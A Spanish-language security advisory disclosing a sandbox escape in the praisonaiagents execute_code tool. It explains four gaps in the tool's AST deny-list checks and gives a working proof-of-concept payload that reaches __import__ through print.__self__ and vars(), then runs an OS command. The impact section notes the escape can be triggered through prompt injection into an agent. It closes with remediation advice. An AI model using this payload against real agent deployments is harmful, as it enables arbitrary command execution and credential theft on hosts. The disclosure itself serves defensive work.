Resumen

La función execute_code() en praisonaiagents/tools/python_tools.py (v1.6.37, modo sandbox subprocess) puede ser completamente evadida usando print.__self__ para recuperar el módulo Python builtins real, del cual se puede extraer __import__ mediante vars() y construcción de cadenas en tiempo de ejecución. Esto logra ejecución arbitraria de comandos del sistema operativo en el host, derrotando completamente el sandbox.

Este es un bypass novedoso que sobrevive a todos los parches para CVE-2026-39888 (traversal de frames), CVE-2026-34938 (subclase str), y CVE-2026-40158 (trampoline type.__getattribute__).

Severidad

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H: 9.9 Crítico

Causa Raíz

Tres brechas independientes en la validación de seguridad basada en AST:

Brecha 1: __self__ faltante en _blocked_attrs

En CPython, todas las funciones built-in (funciones de nivel C) tienen un atributo __self__ que retorna el módulo al que pertenecen. Las funciones built-in en safe_builtins (print, len, range, etc.) son las funciones built-in reales de CPython, por lo que print.__self__ retorna <module 'builtins' (built-in)>.

El frozenset _blocked_attrs (línea 52) NO incluye __self__. La verificación AST en la línea 74 solo bloquea atributos que están EN este conjunto, por lo que print.__self__ pasa.

Brecha 2: vars no bloqueado como callable o atributo

builtins.vars(obj) retorna obj.__dict__. El nombre de función vars no está en la lista de bloqueo AST Call (línea 83: solo bloquea exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). Y vars no está en _blocked_attrs para acceso de atributos.

Entonces b.vars(b) (donde b es el módulo builtins) retorna builtins.__dict__: un diccionario que contiene TODAS las funciones built-in incluyendo __import__, exec, eval, open, etc.

Brecha 3: Verificación AST Call solo captura nodos ast.Name

La verificación de llamadas peligrosas (línea 82-88) solo se activa cuando isinstance(func, ast.Name): es decir, llamadas de nombre simple como exec(...). NO captura:

  • Llamadas de atributo: b.exec(...): func es ast.Attribute
  • Llamadas de subscript: d["exec"](...): func es ast.Subscript

Brecha 4: Construcción de cadenas en tiempo de ejecución evade verificación de constantes de cadena

La verificación de constantes de cadena (línea 92-98) captura literales como "__import__", pero NO concatenación en tiempo de ejecución como "_" + "_" + "import" + "_" + "_". El AST ve 5 nodos Constant separados ("_", "_", "import", "_", "_"), ninguno de los cuales contiene ningún attr bloqueado como subcadena.

Prueba de Concepto

python
from praisonaiagents.tools.python_tools import execute_code

# Exploit: 4 líneas, evade TODAS las capas de seguridad
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""

result = execute_code(code=payload)
print(result)
# Salida: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}

Análisis paso a paso del bypass:

| Línea | Nodo AST | Verificación | Resultado | |---|---|---|---| | print.__self__ | Attribute(attr='__self__') | __self__ en _blocked_attrs? | NO → pasa | | b.vars | Attribute(attr='vars') | vars en _blocked_attrs? | NO → pasa | | b.vars(b) | Call(func=Attribute) | isinstance(func, ast.Name)? | NO → pasa | | "_", "import" | Constant(value=str) | ¿Contiene attr bloqueado? | NO → pasa | | d[key] | Subscript | No verificado | pasa | | imp("os") | Call(func=Name('imp')) | imp en llamadas bloqueadas? | NO → pasa |

Resultado: Escape completo de sandbox → ejecución arbitraria de comandos

Impacto

Un atacante que pueda influir en la entrada del agente (vía inyección de prompt, documentos maliciosos, o envío directo de código) puede:

  • Ejecutar comandos arbitrarios en el sistema host
  • Leer/escribir cualquier archivo accesible al proceso
  • Exfiltrar variables de entorno, claves API y credenciales
  • Pivotar a redes internas
  • Instalar backdoors persistentes

Afectados

  • Paquete: praisonaiagents (PyPI)
  • Versiones afectadas: Todas las versiones hasta 1.6.37 (última)
  • Componente: praisonaiagents/tools/python_tools.py, función _execute_code_sandboxed()
  • Configuración por defecto afectada: Sí (sandbox_mode="sandbox" es el valor por defecto)

Remediación

Corrección inmediata

Agregar __self__ a _blocked_attrs:

python
_blocked_attrs = frozenset({
    ...,
    '__self__',  # Las funciones built-in filtran su módulo padre
})

Endurecimiento adicional

  1. Bloquear vars en la lista de callables bloqueados
  2. Extender la verificación ast.Call para también capturar nodos de función ast.Attribute y ast.Subscript
  3. Agregar verificación AST para concatenación de cadenas BinOp que podría construir nombres de attr bloqueados

Recomendación fundamental

Los sandboxes de Python basados en listas de denegación son fundamentalmente inseguros. Cada parche introduce una nueva oportunidad de bypass. Considere:

  • Usar isolated-vm (Node.js) o aislamiento basado en WebAssembly
  • Usar sandboxing a nivel de sistema operativo (seccomp, namespaces, gVisor)
  • Eliminar completamente la ejecución de código en proceso a favor de ejecución containerizada